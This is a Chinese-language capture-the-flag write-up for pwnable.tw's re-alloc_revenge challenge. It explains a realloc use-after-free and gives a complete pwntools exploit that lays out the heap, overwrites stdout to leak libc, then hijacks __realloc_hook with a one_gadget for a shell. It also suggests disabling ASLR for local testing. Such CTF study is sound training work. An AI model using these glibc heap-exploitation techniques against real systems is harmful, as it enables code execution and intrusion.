pwnable-re-alloc_revenge

和之前题目realloc代码部分几乎一样,新增了GOT表不可写,导致堆布局更加复杂。个人觉得能够独立完成这道题(或者看了大致思路之后自己完成堆布局)能够算是堆布局方面至少是中级水平了。

漏洞分析

见pwnable.tw上的这一道题realloc。这里不再分析。漏洞点在于realloc的可控size,导致UAF。但是我们只能操纵两个堆块。

关于realloc,有一个特别重要的地方是在新的size比原来的大时,不会从tcache中取出chunk,而是类似calloc的行为。这一点十分重要。

思路

由于无法劫持GOT表,并且申请堆块大小受限,导致泄露libc困难,其实这道题难点就在于泄露libc,之后就是一个UAF解决问题。

一般而言对于2.27之上的题目,有两种处理办法。

一是UAF在原先堆布局中伪造一个chunk,再想办法分配到这里,并且释放,之后将unsortedbin中的main_arena地址想办法放到下一个free_chunk中,在爆破4bit,写到stdout泄露libc。这种方法缺点在于堆布局及其复杂,构造难度较大。优点是思路明确,每一步要做什么都很清晰。

第二种方法是直接拿到tcache头部,free掉。这种方法优点就是完全不需要堆风水,直接partical write fd位置就完事了,但是缺点是改掉了tcache控制块,加上本题对size有限制只能在0x78以下,导致对tcache头部的写入释放等造成难以预期的后果。

本题选择用第一种方法。在网上看到也有师傅采用劫持tcache头部来做的,脚本比我的简单很多,但是要爆破一个字节(我是半个字节)。没有细看怎么做,毕竟这种复杂的堆风水看起来和自己做一遍也没啥区别。

exp

以下exp包含了很多很多debug(),这是我自己在调试的时候加的,每个debug()旁边写上了要检查什么内容。在本地做的时候,可以加上这样一条命令,避免每次用gdb的set命令修改好libc。

1
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

这句命令使得内核失去虚拟化地址空间效果。不过在做完之后记得改回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from pwn import *
filename="./re-alloc_revenge"
libc_name="./libc.so"
# io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']

def choose(index):
io.recvuntil('Your choice: ')
io.sendline(str(index))


def add(index,size,con,send=True):
choose(1)
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
if(send==True):
io.send(con)
else:
io.sendline(con)

def realloc(index,size,content=0):
choose(2)
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
if(size!=0):
io.recvuntil('Data:')
io.send(content)


def free(index):
choose(3)
io.recvuntil('Index:')
io.sendline(str(index))

def debug():
gdb.attach(io,"brva 0x15FB")
free(1)


def debug_menu_alloc():
cmd = ""
cmd += "brva 0x1725\n"
cmd += "brva 0x1767\n"
gdb.attach(io,cmd)

small_payload = p64(0)+p64(0x21)
big_payload = p64(0)+p64(0x471)



def exp(io):

add(0,0x68,p64(0)*2+big_payload+small_payload*0x4)
realloc(0,0x78,p64(0)*3) # free 0x68 chunk
free(0) # free 0x78's chunk



add(1,0x68,big_payload*4)
realloc(1,0) # free 1 to wait for partial write <==== partial write chunk!

add(0,0x58,small_payload*4)
free(0) # free 0x60's chunk

# debug()


add(0,0x78,p64(0)*2+big_payload+small_payload*0x4)
realloc(0,0x58,p64(0)*2+big_payload*0x4)
# debug()
free(0)
# debug() #should be 2 chunks here and 0x441 present


for i in range(0,9):
add(0,0x38,p64(0)*2+small_payload*0x2)
realloc(0,0x78,p64(0)*2+small_payload*0x5) # free 0x68 chunk
free(0) # free 0x78's chunk
# debug() # next should be 0x....3xx and 0x441 present
realloc(1,0x68,p64(0)*2)
free(1)
add(1,0x58,p64(0)*2)
realloc(1,0)
# debug() # check 1 is freed and writable to 0x440
realloc(1,0x58,p8(0x20))
add(0,0x58,p8(0x20)) # partical write next, and put it on the head of tcache
# debug() # check put big chunk in tcache
realloc(0,0x10,p8(0)*2)
# debug()
free(0) # to get writeable
# debug()
add(0,0x58,'a') # get large chunk
# debug() # check get a large chunk
free(0) # into uns
# debug() # check into unsortedbin

# want to put libc into a chunk in bins
add(0,0x38,'a') #from tcache
# debug()
realloc(0,0x18,'a')
free(0)
# debug() # check tcache[0x40] is empty
add(0,0x38,'a')# from unsortedbin,but will reput tcache shit...
realloc(0,0x48,'a') # from unsortedbin
free(0)
add(0,0x38,'a') # put into
# debug() # check libc is at tcache[0x80]bk

# tcache:
# 0x80 [ 7]: 0x55c05e35a6b0 —▸ 0x55c05e35a630 —▸ 0x55c05e35a5b0 —▸ 0x55c05e35a530 —▸ 0x55c05e35a4b0 —▸ 0x55c05e35a430 —▸ 0x55c05e35a3b0 —▸ 0x7f5834304ca0 (main_arena+96) ◂—

# then: frequently add and free 0x80 into 0x20 and 0x60 to overwrite

free(0)
add(0,0x78,'a')
realloc(0,0x38,'a')
free(0)
# debug() # check tcache should be 1 less, one has been malloced

for i in range(0,5):
add(0,0x78,'a')
realloc(0,0x38,'a')
free(0)
# debug() # check tcache has only two chunks, one points to next main_arena
add(0,0x28,'a') # to stdout
# debug()
realloc(0,0x78,p16(0x4760)) # reput into tcache
# debug() # check ptr and stdout inside tcache
# 0x80 [ 1]: 0x55555555b3b0 —▸ 0x7ffff7fc4760 (_IO_2_1_stdout_) ◂— ...
# now ptr0 is at 0x55555555b3b0, try to alloc it out
realloc(1,0x18,p64(0)*2)
free(1)
# debug() # check ptr1 is free
add(1,0x78,p16(0x4760))
realloc(1,0x18,'a')
free(1)
# debug() # check 1 is free and stdout is at 0x80, debug mode change here's ptr
try:
add(1,0x78,p64(0xfbad1800)+p64(0)*3) #partical write stdout
libc_info = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
except:
io.close()
return 0
# debug() # check stdout
# libc_info = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("libc_info: " + hex(libc_info))
# gdb.attach(io,"brva 0x15FB")
# free(0)
libc_base = libc_info - 0x1e7570
success("libc_base: " + hex(libc_base))
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
realloc_hook = libc.symbols['__realloc_hook']+libc_base
success("realloc_hook: " + hex(realloc_hook))
success("free_hook: " + hex(free_hook))
success("system: " + hex(system))
og = [0x106ef8,0xe2383,0xe237f,0xe21d4,0xe21d1,0xe21ce]
one = og[0]+libc_base

# debug()
realloc(0,0x18,p64(0)*2)

free(0) # get 0 writable
add(0,0x68,p64(0)+p64(0x471)+p64(0)+p64(0x471)+p64(0)*3+p64(0x51)+p64(realloc_hook)*2)
# debug() #check free_hook at 0x50's tcache
free(0)
add(0,0x48,'a')
# debug() # check free_hook at head of 0x50
realloc(0,0x18,'a')
free(0)
# debug() # check 0 is freehook
add(0,0x48,p64(one))
# debug()# check realloc_hook is og
choose(2)
io.recvuntil('Index:')
io.sendline('0')
io.recvuntil('Size:')
io.sendline('0')

# io.sendline('cat /home/re-alloc_revenge/flag')
io.interactive()



if __name__ == "__main__":
result = 0
while(result!=1):
io = process(filename)
# io = remote('chall.pwnable.tw', 10310)
result = exp(io)

需要注意的一点是,在打stdout泄露之后,打stdout的指针就不能再使用了(realloc的任何操作都不行)因此看到在上图我们拿到libc之后,只用了一个指针完成余下的所有操作。这里也很有技巧性。

考虑这种情况,如果想要通过realloc的UAF-edit修改tcache中的bk,我们至少需要一个指针A来修改,修改之后**A不能变大(否则自身又被释放,导致fd消失或者tcache-double_free),不能减小之后再释放(因为会保留当前指针free掉,那么fd还是会消失))**这就必须要求有第二个指针协助,A修改fd之后(A在bins中)先变小自己,再用B拿走A,free(A)(此时B会到变小后的bins中,不影响当前Bins)此时A可以写,那么就可以用A拿出来fd

但是这里只能用一个指针,也是很精巧的用法:用地址覆盖到下一个可用的bins中的fd,从而避免了修改自己的fd。这里还好我最后构造到能这样写,不然真的又要推倒重来,十分复杂。可能就要放弃了。

关于realloc感觉能用的洞和需要了解的知识点在自己做了realloc和realloc-revenge之后就能够比较清楚了。我这道题前后大概花了要10小时,真的好复杂,差点崩溃了(也可能我做的麻烦)

以下是成功截图。

image-20220302234703924

后记

记录一下pwnable的排名,希望继续加油!!已经注册一年多了。也差不多学pwn一年多左右,希望和看到的人能够共勉!

image-20220303000034444

文章目录
  1. 1. 漏洞分析
  2. 2. 思路
    1. 2.1. exp
  3. 3. 后记
|